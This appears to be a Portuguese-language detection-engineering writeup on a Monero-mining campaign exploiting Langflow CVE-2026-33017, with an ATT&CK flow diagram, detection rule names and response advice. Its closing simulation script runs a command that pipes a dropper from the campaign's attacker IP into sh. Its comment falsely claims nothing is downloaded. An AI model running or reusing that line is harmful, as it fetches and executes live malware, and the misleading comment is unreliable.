Campanha de Criptomineração CVE-2026-33017: De Langflow a Monero
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Uma campanha de mineração de criptomoeda está explorando uma falha de execução remota de código não autenticada no Langflow para implantar um minerador baseado em Go personalizado. A cadeia de ataque usa um dropper de script bash para estabelecer persistência e mover-se lateralmente através de chaves SSH reutilizadas. O malware também desativa medidas de segurança de nível de host e termina processos de mineração concorrentes para maximizar os recursos do sistema disponíveis.
Investigação
Pesquisadores monitoraram a campanha durante um período de 19 dias e identificaram um padrão de exploração consistente envolvendo um flow_id codificado e strings de user-agent rotativas. Sua investigação revelou uma intrusão em várias etapas construída em torno de um binário baseado em Go chamado lambsys.elf, que lidava com evasão de defesa, remoção de logs e persistência suportada por watchdog. Com base no comportamento de exclusão de usuários e técnicas de movimento lateral, acredita-se que a cadeia de ferramentas compartilha origem com a família KORKERDS ou MALXMR.
Mitigação
As organizações devem atualizar o Langflow para a versão 1.9.0 ou mais recente para remediar a questão de execução remota de código. Também é fortemente recomendado bloquear a exposição à internet pública de instâncias do Langflow e evitar executar o serviço com privilégios excessivos. Controles adicionais devem garantir que os fluxos públicos não possam aceitar entradas não autenticadas capazes de disparar a execução de código.
Resposta
Se essa atividade for detectada, as equipes de segurança devem tratá-la tanto como uma violação de mineração de criptomoeda quanto como um possível incidente de exposição de chave SSH. As etapas imediatas devem incluir a rotação de todas as chaves SSH potencialmente expostas e a revisão de hosts conectados em busca de sinais de movimento lateral. As equipes também devem auditar logs do sistema para criação ou exclusão de contas não autorizadas e inspecionar sistemas em busca de alterações de configuração de segurança não aprovadas.
"flowchart TD step_reconnaissance["T1595.002 u2013 Varredura Ativa: Varredura de Vulnerabilidade: Rotação de User-Agent para identificar o alvo e sondar a vulnerabilidade auto_login"] step_exploitation["T1210 u2013 Exploit de Serviços Remotos: Explorando CVE-2026-33017 na API do Langflow via solicitação POST"] step_execution["T1059 u2013 Execução: Primitiva Python __import__('os').system para acionar comandos de shell"] step_ingress_transfer["T1105 u2013 Transferência de Ferramentas de Ingresso: Baixando isp.sh dropper via curl ou wget"] rules_for_ingress_transfer("<b>Nome da Regra</b>: Upload/Download de Arquivo Remoto via Ferramentas Padrão (via cmdline)<br/><b>ID da Regra</b>: 02cefb3e-acaa-42f6-8118-611e4162f3ba<hr/><b>Nome da Regra</b>: Download de Arquivo Suspeito Direto IP (via proxy)<br/><b>ID da Regra</b>: f0e46e70-111f-43a1-8853-d25f0b8683dd") step_persistence["T1053.003 u2013 Persistência: Job Cron e script de loop bash (init_rmount) para funcionalidade de watchdog"] step_credential_access["T1552.004 u2013 Acesso a Credenciais: Enumeração de chaves privadas SSH e consultas SSH_AUTH_SOCK"] step_lateral_movement["T1021.004 u2013 Movimento Lateral: Mecanismo worm SSH visando hosts alcançáveis em known_hosts"] step_defense_impairment["T1685 u2013 Comprometimento de Defesa: Desativando ufw, iptables, AppArmor e SELinux"] step_indicator_removal["T1070 u2013 Remoção de Indicador: Deletando /var/log/syslog para dificultar a investigação"] step_command_and_control["T1102.003 u2013 Comando e Controle: lambsys.elf enviando heartbeats JSON via HTTP POST para 83.142.209.214"] step_resource_hijacking["T1496.001 u2013 Sequestro de Recursos: Sequestro de Computação: Implantação de procq (XMRig) para mineração de Monero"] step_reconnaissance –>|leads_to| step_exploitation step_exploitation –>|enables| step_execution step_execution –>|initiates| step_ingress_transfer step_ingress_transfer -.->|detected_by| rules_for_ingress_transfer step_ingress_transfer –>|leads_to| step_persistence step_persistence –>|then| step_credential_access step_credential_access –>|enables| step_lateral_movement step_lateral_movement –>|leads_to| step_defense_impairment step_defense_impairment –>|then| step_indicator_removal step_indicator_removal –>|leads_to| step_command_and_control step_command_and_control –>|results_in| step_resource_hijacking "
Fluxo de Ataque
Detecções
Download de Arquivo Suspeito Direto IP (via proxy)
Ver
Possível Tentativa de Comunicação de Domínio de Pesquisa IP (via dns)
Ver
Modificação de Atributo via Chattr – Linux (via cmdline)
Ver
Upload/Download de Arquivo Remoto via Ferramentas Padrão (via cmdline)
Ver
Arquivo Oculto Foi Criado No Host Linux (via file_event)
Ver
Tentativa de Exploração de Execução Remota de Código no Langflow [Servidor Web]
Ver
Detecção de Exploração de Cryptominer CVE-2026-33017 no Langflow [Criação de Processo Linux]
Ver
Execução de Simulação
Pré-requisito: A Verificação de Telemetria & Baseline Pre-flight deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.
-
Narrativa de Ataque & Comandos: O invasor identifica uma instância vulnerável do Langflow rodando em um servidor Linux. Usando a vulnerabilidade CVE-2026-33017, o invasor injeta uma carga útil maliciosa em Python em uma solicitação. O objetivo é contornar defesas de perímetro e implantar um criptominer Monero. A carga útil usa o
os.systemdo Python para invocar/bin/sh, que então baixa um script de shell (isp.sh) da infraestrutura do invasor (83.142.209.214:8080) e o canaliza diretamente para um shell para execução imediata. -
Script de Teste de Regressão:
#!/bin/bash # Simulação da exploração CVE-2026-33017 via injeção de Python # Este script imita a linha de comando exata que a regra de detecção procura. echo "[+] Iniciando Simulação: Exploração CVE-2026-33017" # Usamos python3 para executar a string específica exigida pela lógica da regra # Nota: Não estamos realmente baixando nada; estamos apenas imitando a string de comando. python3 -c "__import__('os').system('curl http://83.142.209.214:8080/isp.sh | sh')" echo "[+] Comando de Simulação Executado." -
Comandos de Limpeza:
# Nenhuma alteração permanente feita pelo script de simulação; # no entanto, se algum arquivo fictício foi criado, ele deve ser removido. echo "[+] Limpando artefatos de simulação..." # (Nenhum artefato criado nesta simulação de linha de comando específica)